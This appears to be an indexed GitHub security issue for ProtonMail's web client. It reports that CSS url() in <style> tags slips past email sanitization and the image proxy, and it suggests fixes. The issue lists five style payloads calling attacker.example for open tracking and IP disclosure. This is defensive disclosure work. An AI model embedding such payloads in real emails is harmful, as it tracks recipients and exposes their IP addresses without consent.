ProtonMail / ProtonMail/WebClients
[Security] CSS url() in <style> tags survives email sanitization - open tracking + IP leak bypassing image proxy
Nobody has claimed this yet.
- Dominant language
- TypeScript
- Stars
- 5.6k
- Forks
- 715
- PR merge metrics
- No merged PRs in 30d
Description
Summary
CSS url() references inside <style> tags survive the entire email sanitization pipeline, defeating the image proxy's purpose (open-tracking protection + IP leak prevention).
Root cause
Three facts compose:
-
<style>tags are not forbidden by the mail-rendering DOMPurify config.packages/sanitize/src/purify.ts:45-46— theprotonizerconfig setsFORBID_TAGS: ['form', 'video', 'audio']only (deliberately allowingstyle, "will be processed by juice afterward"). Note the defaultDEFAULTconfig at line 37 does forbidstyle— the gap is protonizer-specific. -
transformStylesheetnever neutralizesurl().packages/mail-renderer/helpers/transforms/transformStylesheet.ts:108-115only rewrites overlayposition, height-dependent media queries, andmin-height—url()(background-image,@import,@font-face,cursor, etc.) is left untouched. -
The image proxy only rewrites
<img>tags, not CSS URLs — sourl()fetches go directly to the attacker's server, exposing the recipient's IP and confirming the email was opened.
Rendering pipeline confirmed: packages/mail-renderer/helpers/transforms/transformEscape.ts:3 imports protonizer from @proton/sanitize/purify.
Payloads that survive
<style>body { background: url(https://attacker.example/track1) }</style>
<style>@import url(https://attacker.example/track2);</style>
<style>.x { background-image: url(https://attacker.example/track3) }</style>
<style>@font-face { src: url(https://attacker.example/track4) }</style>
<style>@import "https://attacker.example/track5";</style>
Impact
- Email open tracking (read receipts) — bypasses the image proxy that exists specifically to prevent this.
- Recipient IP address disclosure to the sender.
- For a privacy-first product this contradicts a core user expectation. Severity: Low–Medium.
Suggested fix
Neutralize url() inside <style> content in transformStylesheet.ts (e.g., reuse the existing escapeURLinStyle helper from packages/sanitize/src/escape on styleTag.textContent), and/or forbid <style> in the protonizer config (matching the DEFAULT config), or route CSS subresources through the proxy.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with packages/sanitize/src/purify.ts:45-46 and packages/mail-renderer/helpers/transforms/transformStylesheet.ts:108-115, then trace the protonizer import in transformEscape.ts. Check the listed style payloads through the email sanitization and rendering pipeline. Done means CSS url() resources no longer bypass sanitization or the image proxy.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- typescript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 55/100